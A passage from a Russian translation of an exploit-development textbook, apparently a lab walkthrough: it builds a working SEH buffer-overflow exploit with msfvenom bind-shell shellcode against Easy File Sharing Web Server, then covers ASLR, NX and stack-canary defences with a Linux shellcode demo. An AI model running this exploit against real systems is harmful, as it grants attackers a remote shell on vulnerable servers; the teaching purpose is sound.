https:/​/​www.​exploit-​db.​com/​apps/ 60f3ff1f3cd34dec80fba130ea481f31-​efssetup.​exe.

Скачайте и установите приложение; если вы уже сделали это в предыдущей главе, то


выключите web server в Sync Breeze Enterprise так как нам нужен порт 80.
Реальные примеры из жизни– Часть 3 Глава 11

Откройте Sync Breeze Enterprise и перейдите в Tools | Advanced Options... | Server,


проверьте что Enable Web Server on Port отключён:

Нажмите Save для сохранения изменений и закройте

его. Откройте Easy File Sharing Web Server:

[ 294 ]
Реальные примеры из жизни– Часть 3 Глава 11

Нажмите Try it!. Как только приложение откроется нажмите Start в правом верхнем углу:

[ 295 ]
Реальные примеры из жизни– Часть 3 Глава 11

Фаззинг
Нашим параметром будет GET; взляните на следующий
скриншот:

Знак / после GET является нашим параметром; давайте напишем наш код для фаззинга:
#!/usr/bin/python
import socket

junk =

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()

В машине жертвы запустим Immunity Debugger от имени администратора


прикрепив fsws:

[ 296 ]
Реальные примеры из жизни– Часть 3 Глава 11

Начнём фаззинг со значения 1000:


junk = 'A'*1000

Запустим эксплоит:

Ничего не произошло; увеличим его до 3000:


junk = 'A'*3000

[ 297 ]
Реальные примеры из жизни– Часть 3 Глава 11

Ещё раз запустим эксплоит:

Тоже самое; попробуем 5000:


junk = 'A'*5000

Ещё раз запустим эксплоит:

[ 298 ]
Реальные примеры из жизни– Часть 3 Глава 11

Прокрутим вниз окно списка; вы увидете что мы сделали переполнение SEH и


nSEH:

Подтвердим это перейдя в View | SEH chain или нажав (Alt + S):

Контроль SEH
Попробуем получить смещение SEH создав шаблон в Metasploit:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 5000

[ 299 ]
Реальные примеры из жизни– Часть 3 Глава 11

Эксплоит должен выглядеть так:


#!/usr/bin/python
import socket

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar
4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw
4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb
4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd
9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg
4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi
9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl
4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn
9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq
4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs
9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv
4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx
9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca
4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc
9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf
4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch
9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck
4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm
9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp
4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr
9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu
4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw
9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz
4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db
9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De
4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg
9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj
4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl
9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do
4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq
9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt
4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv
9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy

[ 300 ]
Реальные примеры из жизни– Часть 3 Глава 11

4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea
9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed
4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef
9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei
4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek
9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En
4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep
9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es
4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu
9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex
4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez
9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc
4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe
9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh
4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj
9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm
4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo
9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr
4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft
9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw
4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy
9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb
4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd
9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg
4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi
9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()

Закроем Immunity Debugger и перезапустим Easy File Sharing Web Server. Запустим
Immunity Debugger от имени администратора и прикрепим fsws, затем запустим
эксплоит.

[ 301 ]
Реальные примеры из жизни– Часть 3 Глава 11

Приложение приостановило свою работу; используем mona для анализа нашего шаблона:

!mona findmsp

Результат введённой нами команды показан на скриншоте:

Смещение nSEH происходит после 4061.

[ 302 ]
Реальные примеры из жизни– Часть 3 Глава 11

Подтвердим это перезапустив приложение и Immunity Debugger:


#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)

injection = junk + nSEH + SEH + pad

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()

Теперь запустим эксплоит:

Нажмём Shift + F9 чтобы пройти исключения:

[ 303 ]
Реальные примеры из жизни– Часть 3 Глава 11

Получим цепочку SEH (Alt + S):

Найдем адрес 04AD6FAC в списке:

Наши B в следующем SEH, а C в SEH. Теперь мы контролируем SEH в этом


приложении.

Инъекция шеллкода
Это то как должен выглядеть шеллкод:

Первым делом установим nSEH командой \xeb\x10, и SEH с адресом pop, pop, и
командой ret. Попробуем найти при помощи mona.

Первым установим местонахождение log file в Immunity Debugger:


!mona config -set workingfolder c:\logs\%p

Извлечём детали SEH :


!mona seh

[ 304 ]
Реальные примеры из жизни– Часть 3 Глава 11

Результат введённой нами команды показан на скриншоте:

Нам нужен адрес без неправильных значений. Откроем log file из c:


\logs\fsws\seh.txt.

Let's select one, but remember to avoid any bad characters:


0x1001a1bf : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ}
[ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False,
v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

Мы нашли адрес для SEH 0x1001a1bf:


SEH = '\xbf\xa1\x01\x10'

Создадим bind TCP шеллкод на порту 4321:


$ msfvenom -p windows/shell_bind_tcp LPORT=4321 -b
'\x00\x20\x25\x2b\x2f\x5c' -f python

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"

[ 305 ]
Реальные примеры из жизни– Часть 3 Глава 11

buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

Это то как должен выглядеть наш эксплоит:

Посмотрим на эксплоит:
#!/usr/bin/python
import socket

junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10'
NOPs='\x90'*20

buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"

[ 306 ]
Реальные примеры из жизни– Часть 3 Глава 11

buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"

injection = junk + nSEH + SEH + NOPs + buf

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()
Закроем приложение и снова запустим. Затем запустим эксплоит и команду nc на порту
4321:
$ nc 192.168.129.128 4321

[ 307 ]
Реальные примеры из жизни– Часть 3 Глава 11

Результат введённой нами команды показан на скриншоте:

Всё работает!

Заключение
В этой главе мы использовали примеры для основы SEH buffer overflow и то как
получить контроль над SEH.

Все то что мы прошли в этой книге должно быть использовано на практике.

В следующей главе мы поговорим о методах защиты систем и о том как написать


безопасный код.

[ 308 ]
12
Обнаружение и предотвращение
Это будет последней главой в нашей книге. Здесь мы поговорим о методах
защиты и предотвращения атаки типа buffer overflow. Разделим эти методы на
три подхода:
системный
компиляторный
разрабатываемый

Системный подход
В этой главе мы поговорим о встроенных в ядро системы механизмах
предотвращения, таких как ASLR используемых в атаках buffer overflow.

Address Space Layout Randomization (ASLR) это метод смягчения атаки


переполнения при помощи произврльного выбора места памяти которая способна
противостроять при сложных эксплоитах. Например, при использовании метода
return-to-lib нам нужно получить адрес команды для использования при нападении.
Так как части памяти находятся в произвольном порядке то приходится угадывать
местоположение. Мы используем этот метод чтоюы пройти защиту NX, но мы не
сможем пройти ASLR.
Обнаружение и предотвращение Глава12

Программистам можно не беспокоится; существует множество путей обойти ASLR.


Посмотрим как работает ASLR. Откроем систему Linux машине жертвы и отключим
ASLR:
$ cat /proc/sys/kernel/randomize_va_space

Результат введённой нами команды показан на скриншоте:

ASLR отключена так как значение randomize_va_space равен 0. Если включена, то введём 0:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Посмотрим как выглядит адресация: например для cat:


$ cat

Откроем ещё один Terminal. Нам нужно получить PID процесса используя
следующую команду:
$ ps aux | grep cat

Результат введённой нами команды показан на скриншоте:

PID для cat равен 5029. Посмотрим как выглядит расположение:


$ cat /proc/5029/maps

[ 310 ]
Обнаружение и предотвращение Глава 12

Результат введённой нами команды показан на скриншоте:

Остановим процесс cat используя Ctrl + C, затем запустим :


$ cat

Затем в другом окне Terminal запустим команду:


$ ps aux | grep cat

Результат введённой нами команды показан на скриншоте:

PID для cat равен 5164. Получим расположение памяти для данного PID:

$ cat /proc/5164/maps

[ 311 ]
Обнаружение и предотвращение Глава 12

Результат введённой нами команды показан на скриншоте:

Посмотрим на расположение памяти обоих PID; они одинаковы. Всё статически


расположено в памяти: библиотеки, списки, структуры данных.

Включим ASLR чтобы увидеть разницу:


$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Проверим что ASLR включена:


$ cat /proc/sys/kernel/randomize_va_space

Результат введённой нами команды показан на скриншоте:

Запустим любой процесс, например, cat:


$ cat

[ 312 ]
Обнаружение и предотвращение Глава 12

Затем в другом окне Terminal запустим команду:


$ ps aux | grep cat

Результат введённой нами команды показан на скриншоте:

PID для cat равен 5271. Посмотрим как выглядит память:

$ cat /proc/5271/maps

Результат введённой нами команды показан на скриншоте:

Остановим cat и перезапустим:

$ cat

Попробуем поймать PID для cat:

$ ps aux | grep cat

[ 313 ]
Обнаружение и предотвращение Глава 12

Результат введённой нами команды показан на скриншоте:

Посмотрим на расположение памяти:

$ cat /proc/5341/maps

Результат введённой нами команды показан на скриншоте:

Сравним адреса. Они полностью отличаются. Списки, структуры данных и


библиотеки динамические расположены. Все адреса будут уникальными при
каждом выполнении.

[ 314 ]
Обнаружение и предотвращение Глава 12

Now to the next section, which is the compiler approach, such as executable-space
protection and canary.

Компилярный подход
Защита исполняемого пространства это метод при котором некоторые сегменты в
памяти отмечаются как не исполнимыми (такие как списки и структуры данных).
Если даже мы успешно проведём инъекцию шеллкода, то мы всё равно не сможем
запустить шеллкод.

В Linux защита испольняемого пространстваis называется non-executable (NX), а в


Windows - Data Execution Prevention (DEP).

Используем пример из Главы 6, Атаки Buffer Overflow:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)


{
char buffer[256];
strcpy (buffer,input);
return 0;
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Соберём все вместе и отключим NX:


$ gcc -fno-stack-protector -z execstack nx.c -o nx

Откроем это в GDB:


$ gdb ./nx

[ 315 ]
Обнаружение и предотвращение Глава 12

Попробуем запустить эксплоит:


#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer +=
'\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Выполним эксплоит:
$ python exploit.py

В GDB запустим следущую команду:


$ run $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

Попробуем запустить тот же самый эксплоит но с включеным NX:


$ gcc -fno-stack-protector nx.c -o nx

[ 316 ]
Обнаружение и предотвращение Глава 12

Откроем это в GDB и запустим следующую команду:


$ run $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

Где мы застряли с этим адресом

Так как команда No Operation (nop) была отклонена из stack, stack станет не
выполнимым.

Поговорим о методе stack canary или stack protector. Stack canary используется для
обнаружения попытки вторгнуться в stack.

[ 317 ]
Обнаружение и предотвращение Глава 12

При возврате значений в stack, значение попросит canary записать это до


сохранения в обратном адресе (return address). Любая попытка атаки на
переполнение списка заставит canary переписать значение, при котором
остановится выполнение кода так как это будет попыткой вторжения в список:

Используем предыдущий пример, но сначала включим canary в stack:


$ gcc -z execstack canary.c -o canary

Перезапустим в GDB и попробуем наш эксплоит:


$ run $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

[ 318 ]
Обнаружение и предотвращение Глава 12

Посмотрим на причины неудачи:

Система пробует сравнить начальное значение canary с хранимым значением. Это не


срабатывает так как мы переписали начальное значение с тем что у нас было в
эксплоите:

И как мы видим вторжение в список было обнаружено!

Разрабатываемый подход
В последней части будет сказано, что разработчик должен сделать всё возможное для
защиты своего кода от атак переполнения. Я говорю о C/C++, но сам концепт остаётся
тем же.

Певым, мы используем любую команду отладки строк. В таблице ниже показаны


опасные команды и те которыми их стоить заменить:

опасные безопасные
strcpy strlcpy
strncpy strlcpy
strcat strlcat
strncat strlcat
vsprintf vsnprintf or vasprintf
sprintf snprintf or asprintf

[ 319 ]
Обнаружение и предотвращение Глава 12

Также всегда используйте команду sizeof для определения размера buffer в вашем
коде. Пробуйте уточнить когда дело доходит до определения размера buffer
используя безопасные команды.

Заключение
В последней главе мы изучили методы защиты операционных систем и некоторые
методы компилятора C, таких как GCC. Затем мы узнали как написать безопасный
код.

Это ещё не всё. Всегда найдутся пути обхода систем защиты. В этой книге вы
получили основы для будущего изучения. Продолжайте своё обучение и я обещаю
